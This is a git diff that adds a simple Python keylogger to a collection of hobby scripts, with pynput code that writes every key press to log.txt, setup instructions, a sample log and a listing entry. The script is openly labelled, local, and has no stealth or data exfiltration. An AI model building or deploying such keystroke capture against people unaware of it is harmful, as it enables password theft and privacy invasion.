diff --git a/OTHERS/KeyLogger/KeyloggerProject.py b/OTHERS/KeyLogger/KeyloggerProject.py new file mode 100644 index 00000000..40a70c4f --- /dev/null +++ b/OTHERS/KeyLogger/KeyloggerProject.py @@ -0,0 +1,35 @@ +import pynput +from pynput.keyboard import Key, Listener + +keys = [] + + + +def on_press(key): + keys.append(key) + write_file(keys) + + try: + print('alphanumeric key {0} pressed'.format(key.char)) + + except AttributeError: + print('special key {0} pressed'.format(key)) + + +def write_file(keys): + with open('log.txt', 'a') as f: + for key in keys: + k = str(key).replace("'", "") + f.write(k) + + f.write(' ') + +def on_release(key): + print('{0} released'.format(key)) + if key == Key.esc: + return False + + +with Listener(on_press=on_press, + on_release=on_release) as listener: + listener.join() diff --git a/OTHERS/KeyLogger/README.md b/OTHERS/KeyLogger/README.md new file mode 100644 index 00000000..20efe54b --- /dev/null +++ b/OTHERS/KeyLogger/README.md @@ -0,0 +1,44 @@ +# To Run This KeyLogger Code Using Python + +### **You need to install 'pynput'** + +#### Steps to Install 'pynput' + + + +**First create virtual env in your IDE and set it by using given commands** + +##### macOS +``` +python3 -m venv .venv +source .venv/bin/activate +``` + + +##### Linux + +``` +sudo apt-get install python3-venv #If needed +python3 -m venv .venv +source .venv/bin/activate +``` + +##### Windows +``` +py -3 -m venv .venv +.venv\scripts\activate +``` + +use this command in your virtual env to install pynput + +``` +pip install pynput +``` + + +------- +**Now you can run this in your IDE** + +###### **Your key log will be saved in 'log.txt' file** + + diff --git a/OTHERS/KeyLogger/log.txt b/OTHERS/KeyLogger/log.txt new file mode 100644 index 00000000..aee539a4 --- /dev/null +++ b/OTHERS/KeyLogger/log.txt @@ -0,0 +1 @@ +Key.backspace Key.backspace Key.backspace Key.backspace Key.backspace s Key.backspace Key.backspace s d Key.backspace Key.backspace s d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace Key.backspace s d d d Key.backspace Key.ctrl Key.backspace Key.backspace s d d d Key.backspace Key.ctrl c \ No newline at end of file diff --git a/README.md b/README.md index 9648dd92..fd830a11 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# Python-project-Scripts. +# Python-project-Scripts. Join us on Slack @@ -112,3 +112,4 @@ The contribution guidelines are as per the guide [HERE](https://github.com/larym | 63 | [QtQuiz](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/QtQuiz) | [Eduardo C.](https://github.com/ehcelino) | | 64 | [Umbrella Reminder](https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/Umbrella%20Reminder) | [Edula Vinay Kumar Reddy](https://github.com/vinayedula) | | 65 | [Image to PDF](https://github.com/larymak/Python-project-Scripts/tree/main/IMAGES%20%26%20PHOTO%20SCRIPTS/Image%20to%20PDF) | [Vedant Chainani](https://github.com/Envoy-VC) | +| 66 | [KeyLogger](https://github.com/larymak/Python-project-Scripts/tree/main/OTHERS/KeyLogger) | [Akhil](https://github.com/akhil-chagarlamudi) | \ No newline at end of file